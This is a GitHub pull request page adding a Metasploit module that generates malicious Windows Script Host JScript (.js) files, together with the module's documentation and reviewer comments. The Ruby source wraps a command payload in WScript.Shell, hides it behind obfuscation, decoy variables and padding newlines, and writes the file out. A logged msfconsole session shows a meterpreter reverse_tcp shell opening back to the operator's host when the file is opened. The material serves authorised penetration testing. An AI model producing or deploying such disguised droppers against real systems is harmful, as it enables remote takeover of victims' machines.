-
Notifications
You must be signed in to change notification settings - Fork 14.5k
Add Malicious Windows Script Host JScript (.js) File module #20398
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,89 @@ | ||
## Vulnerable Application | ||
|
||
This module creates a Windows Script Host (WSH) JScript (.js) file. | ||
|
||
This module has been tested successfully on: | ||
|
||
* Microsoft Windows 7 Professional SP1 (x86_64) | ||
* Microsoft Windows 11 Professional 21H2 (x86_64) | ||
|
||
|
||
## Options | ||
|
||
### FILENAME | ||
|
||
The JScript file name. (Default: `msf.js`). | ||
|
||
### OBFUSCATE | ||
|
||
Enable JavaScript obfuscation. (Default: `true`) | ||
|
||
|
||
## Advanced Options | ||
|
||
### PrependBenignCode | ||
|
||
Prepend several lines of benign code at the start of the file. (Default: `true`) | ||
|
||
### PrependNewLines | ||
|
||
Prepend new lines before the malicious JScript. (Default: `100`) | ||
|
||
|
||
## Verification Steps | ||
|
||
On the Metasploit host: | ||
|
||
1. Start msfconsole | ||
1. Do: `use exploit/windows/fileformat/windows_script_host_jscript` | ||
1. Do: `set filename [filename.js]` | ||
1. Do: `set payload [payload]` | ||
1. Do: `set lhost [lhost]` | ||
1. Do: `set lport [lport]` | ||
1. Do: `run` | ||
1. Do: `handler -p [payload] -P [lport] -H [lhost]` | ||
|
||
On the target Windows machine: | ||
|
||
1. Ensure Windows Security is disabled | ||
1. Ensure Windows Registry `HKCU` and `HKLM` key `SOFTWARE\Microsoft\Windows Script Host\Settings\Enabled` is not present or set to 1 | ||
1. Open the `msf.js` file | ||
1. If prompted to choose a program to open the file, select Windows Script Host | ||
|
||
|
||
## Scenarios | ||
|
||
### Microsoft Windows 11 Professional 21H2 (x86_64) | ||
|
||
``` | ||
msf > use exploit/windows/fileformat/windows_script_host_jscript | ||
[*] No payload configured, defaulting to cmd/windows/http/x64/meterpreter/reverse_tcp | ||
msf exploit(windows/fileformat/windows_script_host_jscript) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp | ||
payload => cmd/windows/http/x64/meterpreter/reverse_tcp | ||
msf exploit(windows/fileformat/windows_script_host_jscript) > set lhost 192.168.200.130 | ||
lhost => 192.168.200.130 | ||
msf exploit(windows/fileformat/windows_script_host_jscript) > set lport 4444 | ||
lport => 4444 | ||
msf exploit(windows/fileformat/windows_script_host_jscript) > run | ||
[+] msf.js stored at /root/.msf4/local/msf.js | ||
msf exploit(windows/fileformat/windows_script_host_jscript) > handler -p cmd/windows/http/x64/meterpreter/reverse_tcp -P 4444 -H 192.168.200.130 | ||
[*] Payload handler running as background job 0. | ||
|
||
[*] Started reverse TCP handler on 192.168.200.130:4444 | ||
msf exploit(windows/fileformat/windows_script_host_jscript) > | ||
[*] Sending stage (203846 bytes) to 192.168.200.169 | ||
[*] Meterpreter session 1 opened (192.168.200.130:4444 -> 192.168.200.169:49893) at 2025-07-20 09:14:37 -0400 | ||
|
||
msf exploit(windows/fileformat/windows_script_host_jscript) > sessions -i -1 | ||
[*] Starting interaction with 1... | ||
|
||
meterpreter > sysinfo | ||
Computer : WIN-11-PRO-X64 | ||
OS : Windows 11 21H2 (10.0 Build 22000). | ||
Architecture : x64 | ||
System Language : en_GB | ||
Domain : WORKGROUP | ||
Logged On Users : 2 | ||
Meterpreter : x64/windows | ||
meterpreter > | ||
``` |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,116 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
Rank = GreatRanking | ||
|
||
include Msf::Exploit::FILEFORMAT | ||
include Msf::Exploit::JSObfu | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Malicious Windows Script Host JScript (.js) File', | ||
'Description' => %q{ | ||
This module creates a Windows Script Host (WSH) JScript (.js) file. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => [ | ||
'bcoles' | ||
], | ||
'References' => [ | ||
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE], | ||
], | ||
'Arch' => [ARCH_CMD], | ||
'Platform' => 'win', | ||
'Payload' => { | ||
'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping | ||
'BadChars' => "\x00", | ||
'DisableNops' => true | ||
}, | ||
'Targets' => [ | ||
[ | ||
'Microsoft Windows 98 or newer', {} | ||
], | ||
], | ||
'Privileged' => false, | ||
'DisclosureDate' => '1998-06-25', # Windows 98 release date | ||
'DefaultTarget' => 0, | ||
'DefaultOptions' => { | ||
'DisablePayloadHandler' => true | ||
}, | ||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [SCREEN_EFFECTS] | ||
} | ||
) | ||
) | ||
|
||
register_options([ | ||
OptString.new('FILENAME', [true, 'The JScript file name.', 'msf.js']), | ||
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. OBFUSCATE seems slightly generic in this context, with my initial impression being e.g. PrependBenignCode being an obfuscation technique. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This seems like needless differentiation, especially as
|
||
]) | ||
|
||
register_advanced_options([ | ||
OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]), | ||
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious JScript.', 100]), | ||
]) | ||
end | ||
|
||
def generate_jscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false) | ||
js = '' | ||
|
||
# TODO: This could be improved by generating more realistic looking | ||
# benign code with functions and flow control | ||
if prepend_benign_code | ||
rand(5..10).times do | ||
js << "var #{rand_text_alpha(6..16)}=\"#{rand_text_alphanumeric(6..16)}\";\r\n" | ||
end | ||
end | ||
|
||
js << "\r\n" * prepend_new_lines | ||
|
||
escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"') | ||
|
||
# If the payload contains " & " we presume it is a command string. | ||
# | ||
# TODO: Change this once Metasploit is able to inform a module that | ||
# the specified ARCH_CMD payload is a string of commands | ||
# (not a single command). | ||
if escaped_payload.include?(' & ') | ||
cmd = "cmd.exe /c #{escaped_payload}" | ||
else | ||
cmd = escaped_payload | ||
end | ||
|
||
shell_var = rand_text_alpha(6..16) | ||
js_payload = "var #{shell_var} = new ActiveXObject(\"WScript.Shell\");" | ||
js_payload << "#{shell_var}.Run(\"#{cmd}\");" | ||
|
||
if obfuscate | ||
js_obfu = Rex::Exploitation::JSObfu.new(js_payload) | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I think you can use There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I've made this change. |
||
obfuscated_payload = js_obfu.obfuscate(memory_sensitive: false).to_s | ||
# WSH JScript execution context does not support 'window' object | ||
obfuscated_payload = obfuscated_payload.gsub('window[', 'String[') | ||
js << obfuscated_payload | ||
else | ||
js << js_payload | ||
end | ||
|
||
js | ||
end | ||
|
||
def exploit | ||
js = generate_jscript( | ||
payload.encoded, | ||
prepend_benign_code: datastore['PrependBenignCode'], | ||
prepend_new_lines: datastore['PrependNewLines'], | ||
obfuscate: datastore['OBFUSCATE'] | ||
) | ||
file_create(js) | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would it make sense to have the name be randomly generated to avoid the mention of
msf
?There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Maybe. That's not something we're in the habit of doing.
Most fileformat modules use a static file name.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
IIRC, most of fileformat modules do use static file name, but they also create random file name if static file name is not supplied. I think that might be a way to be consistent with fileformat modules.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
No. Most of the fileformat modules require the
FILENAME
option to be set, thus never allowing the opportunity for the filename to be blank.If the
FILENAME
option is not required and theFILENAME
is blank, thestore_local
method will create a<random>.bin
file.metasploit-framework/lib/msf/core/auxiliary/report.rb
Lines 474 to 505 in 86d5d52
This does not preserve the expected file extension. This also results in an output message with preceding space where the filename should have been:
This is an objectively uglier solution than the current implementation.
If the goal is to be consistent with the other modules, then the existing approach is more consistent.
A cleaner approach would be to implement custom file name randomization on a per-module basis. This would allow the module to support generating file names with the expected file extension. To achieve this, the module must clobber
datastore['FILENAME']
because theMsf::Exploit::FILEFORMAT
library does not support passing the filename to thefile_create
method. Clobbering datastore is generally frowned upon in Framework, but not entirely forbidden.metasploit-framework/lib/msf/core/exploit/fileformat.rb
Lines 29 to 38 in 86d5d52